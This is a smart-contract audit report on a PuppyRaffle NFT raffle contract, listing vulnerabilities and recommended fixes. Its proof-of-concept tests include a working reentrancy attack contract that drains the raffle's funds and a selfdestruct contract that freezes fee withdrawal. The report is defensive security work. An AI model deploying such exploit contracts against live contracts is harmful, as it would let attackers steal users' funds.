Protocol Audit Report

Version 1.0

Cyfrin.io

June 15, 2024

Protocol Audit Report

Mudit Jain

June 14, 2024

Prepared by: Mudit Jain

Table of Contents

Protocol Summary

This protocol is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Mudit makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	4	H/M	M
	Medium	2	M	M/L
	Low	1	M/L	L
	Informational	4	M/L	L
	Gas	3	M/L	L

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Compatibilities

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues Found

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The `PuppyRaffle::refund` function has a reentrancy vulnerability which would allow attacker to deplete all the funds from the `PuppyRaffle` smart contract. The attacker would take part in the raffle through a smart contract which has a malicious fallback function. Calling `PuppyRaffle::refund` would refund the `PuppyRaffle::entranceFee` to the contract which would trigger the fallback function. The fallback function can then repeatedly call the refund function to deplete the smart contract of all the funds.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7
8  @>          players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10     }
```

Impact: All of the funds in the smart contract can be stolen.

Proof of Concept:

POC

Put the below code in the `PuppyRaffleTest` contract. “‘solidity

```
1  function test_ReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
```

```
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9
10          ReentrancyAttackContract reentrancyAttacker = new
                ReentrancyAttackContract(puppyRaffle);
11          address attackUser = makeAddr("attackUser");
12          vm.deal(attackUser, 1 ether);
13
14          uint256 startingAttackerBalance = address(reentrancyAttacker).
                balance;
15          uint256 startingContractBalance = address(puppyRaffle).balance;
16
17          // attack
18          vm.prank(attackUser);
19          reentrancyAttacker.attack{value: entranceFee}();
20
21          uint256 endingAttackerBalance = address(reentrancyAttacker).
                balance;
22          uint256 endingContractBalance = address(puppyRaffle).balance;
23          console.log("Starting attacker balance : " ,
                startingAttackerBalance);
24          console.log("Starting contract balance : " ,
                startingContractBalance);
25          console.log("ending attacker balance : " ,
                endingAttackerBalance);
26          console.log("ending contract balance : " ,
                endingContractBalance);
27
28          assertEq(endingContractBalance, 0);
29      }
30
31  ```
32
33  Place the below contract in the same file as `PuppyRaffleTest` contract
        .
34  ```solidity
35
36  contract ReentrancyAttackContract{
37
38      PuppyRaffle puppyRaffle;
39      uint256 entranceFee ;
40      uint256 attackerIndex;
41
42      constructor(PuppyRaffle _puppyRaffle){
43          puppyRaffle = _puppyRaffle;
44          entranceFee = puppyRaffle.entranceFee();
45      }
46
```

```
47      function attack() external payable {
48          address[] memory players = new address[](1);
49          players[0] = address(this);
50          puppyRaffle.enterRaffle{value: entranceFee}(players);
51          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
52          puppyRaffle.refund(attackerIndex);
53      }
54
55      function _stealMoney() internal {
56          if(address(puppyRaffle).balance >= entranceFee){
57              puppyRaffle.refund(attackerIndex);
58          }
59      }
60
61      fallback() external payable {
62          _stealMoney();
63      }
64
65      receive() external payable {
66          _stealMoney();
67      }
68  }
69  ```
```

Recommended Mitigation: Follow the CEI (Checks, Effects and Interactions) pattern. First make the playerAddress at the index as 0, then transfer the entrance fee to the user.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +        players[playerIndex] = address(0);
7           payable(msg.sender).sendValue(entranceFee);
8
9   -        players[playerIndex] = address(0);
10          emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak PRNG used which uses `msg.sender`, `block.difficulty`, `block.timestamp` for random number generation in `PuppyRaffle::selectWinner` function.

Description: The `PuppyRaffle::selectWinner` function uses a PRNG to generate winnerIndex for the raffle. Same PRNG is used to decide the NFT that will be minted. The attacker can game the

address or the MEVs can game the block.timestamp to generate the index in there favour and revert the transaction in case the index or the NFT is not in there favour.

Recommended Mitigation: 1. Use Chainlink VRF for random number generation

[H-3] Typecasting the fees to uint64 in `PuppyRaffle::selectWinner` function leads to integer overflow causing totalFees to be less than owner fees for raffle.

Description: The totalFees that will be given to the feeAddress is updated in `PuppyRaffle::selectWinner` function. The fees s typecasted to uint64 which leads integer overflow or underflow in solidity. With enough players entering, typecasting would lead to integer overflow causing the total fees accrued to be lesser than the fees that needs to be paid

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
4          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
5          address winner = players[winnerIndex];
6          uint256 totalAmountCollected = players.length * entranceFee;
7          uint256 prizePool = (totalAmountCollected * 80) / 100;
8
9          uint256 fee = (totalAmountCollected * 20) / 100;
10 @>         totalFees = totalFees + uint64(fee);
11
12         uint256 tokenId = totalSupply();
13
14         // We use a different RNG calculate from the winnerIndex to
               determine rarity
15         uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
               block.difficulty))) % 100;
16         if (rarity <= COMMON_RARITY) {
17             tokenIdToRarity[tokenId] = COMMON_RARITY;
18         } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
19             tokenIdToRarity[tokenId] = RARE_RARITY;
20         } else {
21             tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
22         }
23
24         delete players;
25         raffleStartTime = block.timestamp;
26         previousWinner = winner;
27         (bool success,) = winner.call{value: prizePool}("");
28         require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
```

```
29          _safeMint(winner, tokenId);
30      }
```

Impact: Loss of totalFees earned by the feeAddress. The feeAddress would not be able to collect the right amount of fees that he shall earn.

Proof of Concept:

POC

Paste the following code in `PuppyRaffleTest` contract `solidity function test_FeesOverlflow ()public { uint256 entrantsNum = 100; uint256 entranceFees = entrantsNum * (entranceFee); address[] memory players = new address[](entrantsNum); for(uint256 i = 0 ; i<entrantsNum ; i++){ players[i] = address (uint160(i)); } address user = makeAddr("user"); vm.deal(user, entranceFees); vm.prank(user); puppyRaffle.enterRaffle{value: entranceFees }(players); vm.warp(block.timestamp + duration + 1); vm.roll(block. number + 1); puppyRaffle.selectWinner(); uint256 actualtotalFees = puppyRaffle.totalFees(); uint256 expectedTotalFees = (entranceFees *20)/100 ; console.log("Actual total fees: ", actualtotalFees); console.log("Expected total fees: ", expectedTotalFees); assertEq(expectedTotalFees, actualtotalFees); }`

Recommended Mitigation: 1. Remove the uint64 typecasting from the fees in the `PuppyRaffle::selectWinner` function.

```
-    uint64 public totalFees = 0 ;
+    uint256 public totalFees = 0 ;
     .
     .
     .
     function selectWinner() external {
         require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
         require(players.length >= 4, "PuppyRaffle: Need at least 4
             players");
         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
             sender, block.timestamp, block.difficulty))) % players.
             length;
         address winner = players[winnerIndex];
         uint256 totalAmountCollected = players.length * entranceFee;
         uint256 prizePool = (totalAmountCollected * 80) / 100;

         uint256 fee = (totalAmountCollected * 20) / 100;
-         totalFees = totalFees + uint64(fee);
+         totalFees = totalFees + fee;

```

```
18          uint256 tokenId = totalSupply();
19
20          // We use a different RNG calculate from the winnerIndex to
                determine rarity
21          uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
                block.difficulty))) % 100;
22          if (rarity <= COMMON_RARITY) {
23              tokenIdToRarity[tokenId] = COMMON_RARITY;
24          } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
25              tokenIdToRarity[tokenId] = RARE_RARITY;
26          } else {
27              tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
28          }
29
30          delete players;
31          raffleStartTime = block.timestamp;
32          previousWinner = winner;
33          (bool success,) = winner.call{value: prizePool}("");
34          require(success, "PuppyRaffle: Failed to send prize pool to
                winner");
35          _safeMint(winner, tokenId);
36      }
```

2. Using a higher, more stable solidity version which prevents integer overflow.

[H-4] The require condition in `PuppyRaffle::withdrawFees` function can prevent the feeAdress from withdrawing the totalFees from contract completely.

Description: The condition requires that no raffle should be active at the time of withdrawal. But attacker can always begin a raffle preventing the user from withdrawing fees from raffle completely. Also, a smart contract can force money in the contract which would forever prevent the user from Raffle contract as the contract balance then would be always greater than total fees accrued from raffle.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: The feeAddress would never be able to withdraw fees from the contract.

Proof of Concept:

POC

Paste the following code in `PuppyRaffleTest` contract

```
    function test_contractfees_freezed() public {
        address[] memory players = new address[](4);
        for(uint256 i =  0 ; i<4 ; i++){
            players[i] = address(uint160(i));
        }
        puppyRaffle.enterRaffle{value: 4*entranceFee }(players);
        vm.warp(block.timestamp + duration+1);
        vm.roll(block.number + 1);
        address attacker = makeAddr("user");
        vm.deal(attacker, 1 ether);
        puppyRaffle.selectWinner();
        FreezeFeesContract freezeFeesContract = new FreezeFeesContract(
            puppyRaffle);
        vm.prank(attacker);
        freezeFeesContract.attack{value: 1 ether}();
        vm.prank(feeAddress);
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
        console.log("totalFees : ", puppyRaffle.totalFees());
        console.log("contract Balance : ", address(puppyRaffle).balance
            );
    }
```

Paste the following in the same file as `PuppyRaffle` contract

```
    contract FreezeFeesContract {
        PuppyRaffle puppyRaffle;
        constructor(PuppyRaffle _puppyRaffle){
            puppyRaffle = _puppyRaffle;
        }
        function attack() public payable{
            address payable addr = payable(address(puppyRaffle));
            selfdestruct(addr);
        }
    }
```

Recommended Mitigation: 1. The best solution would be to completely remove the require statement completely and allowing `PuppyRaffle::feeAddress` to withdraw whenever it wants.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

MEDIUM

[M-1] Looping through the array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants

Description: As the array size increases, the cost to iterate through the loop in `PuppyRaffle::enterRaffle` function increases, making it infeasibly gas expensive to enterRaffle for late participants. The attacker might acquire all the early spots

Impact: The attacker might fill the initial spots (with different wallet addresses) in the raffle such that it becomes gas expensive for entrants to enter the raffle.

Proof of Concept:

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
        function testCanEnterRaffleDoSCheck() public {
            vm.txGasPrice(1);
            uint256 playerNum = 100 ;
            address[] memory players = new address[](100) ;
            for(uint256 i = 0 ; i<100 ; i++ ){
                players[i] = address(i) ;
            }
            uint256 gasStartFirst = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee*players.length}(players);
            uint256 gasEndFirst = gasleft();
            console.log("Gas Left after first round: ", (gasStartFirst - gasEndFirst));

            for(uint256 i = 0 ; i<100 ; i++ ){
                players[i] = address(i+playerNum) ;
            }
            uint256 gasStartSecond = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee*players.length}(players);
            uint256 gasEndSecond = gasleft();
            console.log("Gas Left after second round: ", (gasStartSecond - gasEndSecond));
        }
    ```
</details>

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can get new walletAddresses anyways and enter raffle, a duplicate does not check same person entering multiple times, only same wallet addresses.
```
```

```
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```diff
+ mapping(address => uint256) s_wallet_to_raffleId;
+ uint256 raffleId = 0;
.
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           s_wallet_to_raffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+        // Check for duplicates only from new players
+        for(uint256 i  = 0 ; i<newPlayers.length ; i++){
+           require(s_wallet_to_raffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate Player");
+        }
-        // what if length of array exceeds max index
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
```

[M-2] Sending the prizepool to the winner of the raffle in `PuppyRaffle::SelectWinner` function is a bad practice. Push over pull mechanism is encouraged.

Description: After the winner and the NFT is decided in the `PuppyRaffle::SelectWinner` function, the prizepool is sent to the winner of the raffle. This is mishandling of user-funds as the winner may be a smart contract

Impact: The attacker can revert the sending ether function by getting the raffle entrant as a contract without a receive or fallback function. This would revert the `PuppyRaffle::SelectWinner` function which may stop the raffle.

Recommended Mitigation: 1. Rather than transferring funds to user, store the amount to be transferred in a mapping, and having seperate function for the user to collect the prize amount from raffle.
```

```
.
.
.
    // mappings to keep track of token traits
    mapping(uint256 => uint256) public tokenIdToRarity;
    mapping(uint256 => string) public rarityToUri;
    mapping(uint256 => string) public rarityToName;
+   mapping(address => uint256) public s_users_to_prizemoney;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;

        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        // We use a different RNG calculate from the winnerIndex to determine rarity
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
+       s_users_to_prizemoney += prizePool;
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }

+   function claimPrize() external {
```

```
45 +        uint256 prizeAmount = s_users_to_prizemoney[msg.sender];
46 +        s_users_to_prizemoney[msg.sender] = 0 ;
47 +        (bool success, ) = payable(msg.sender).call{value: prizeAmount
   }("");
48 +        require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
49 +    }
50 .
51 .
52 .
```

LOW

[L-1] `PupppyRaffle::getActivePlayerIndex` returns 0 when player is not found, which may confuse the user if the user is first participant in the raffle

Description: The function returns 0 in case the players is not found in the players array. If the first participant calls the function, he may confuse it for non-participation.

```
1      function getActivePlayerIndex(address player) external view returns
       (uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7          return 0;
8      }
```

Impact: Raffle Entrants may confuse if they are part of raffle or not.

Recommended Mitigation: 1. Change the return type of index to `int256` and return -1 in case the player is not found in current raffle.

```
1  -       function getActivePlayerIndex(address player) external view
   returns (uint256) {
2  +       function getActivePlayerIndex(address player) external view
   returns (int256) {
3              for (uint256 i = 0; i < players.length; i++) {
4                  if (players[i] == player) {
5                      return i;
6                  }
7              }
8  -           return 0;
9  +           return -1;
10         }
```

INFORMATIONAL

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`.

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Do not use old version of solidity, use stable new version such as `0.8.18`

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 169

```
1           feeAddress = newFeeAddress;
```

[I-4] Raffle Entry for with 0 players entering `PuppyRaffle::enterRaffle` function would also emit an event

Description: Whenever `PuppyRaffle::enterRaffle` is called, even with no players participating, event `PuppyRaffle::RaffleEntered` is emitted which is bad practice.

Impact: Bad for contract upgrade by social migration

Recommended Mitigation: There are few recommendations. 1. Revert the function in case no participant is there. 2. Emit the event only in case participants have entered.

```
1
2     function enterRaffle(address[] memory newPlayers) public payable {
3         require(msg.value == entranceFee * newPlayers.length, "
              PuppyRaffle: Must send enough to enter raffle");
4 +       require(newPlayers.length > 0, "PuppyRaffle: No player entered
      Raffle");
5         for (uint256 i = 0; i < newPlayers.length; i++) {
6             players.push(newPlayers[i]);
7         }
8
9         // Check for duplicates
10        // what if length of array exceeds max index
11        for (uint256 i = 0; i < players.length - 1; i++) {
12            for (uint256 j = i + 1; j < players.length; j++) {
13                require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
14            }
15        }
16        emit RaffleEnter(newPlayers);
17    }
```

Gas

[G-1] Unchanged storage variables should be marked as immutable or constant

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a loop should be cached

Everytime you call `players.length` you read from storage which is expensive, as opposed to memory which is much cheaper.

```
1 +        uint256 playersLength = players.length;
2 -        for (uint256 i = 0; i < players.length - 1; i++) {
3 +        for (uint256 i = 0; i < playersLength - 1; i++) {
4 -            for (uint256 j = i + 1; j < players.length; j++) {
5 +            for (uint256 j = i + 1; j < playersLength; j++) {
6                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
```

```
            }
        }
```

[G-3] `PuppyRaffle::getActivePlayerIndex` function should be removed as it is not called by any other function

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```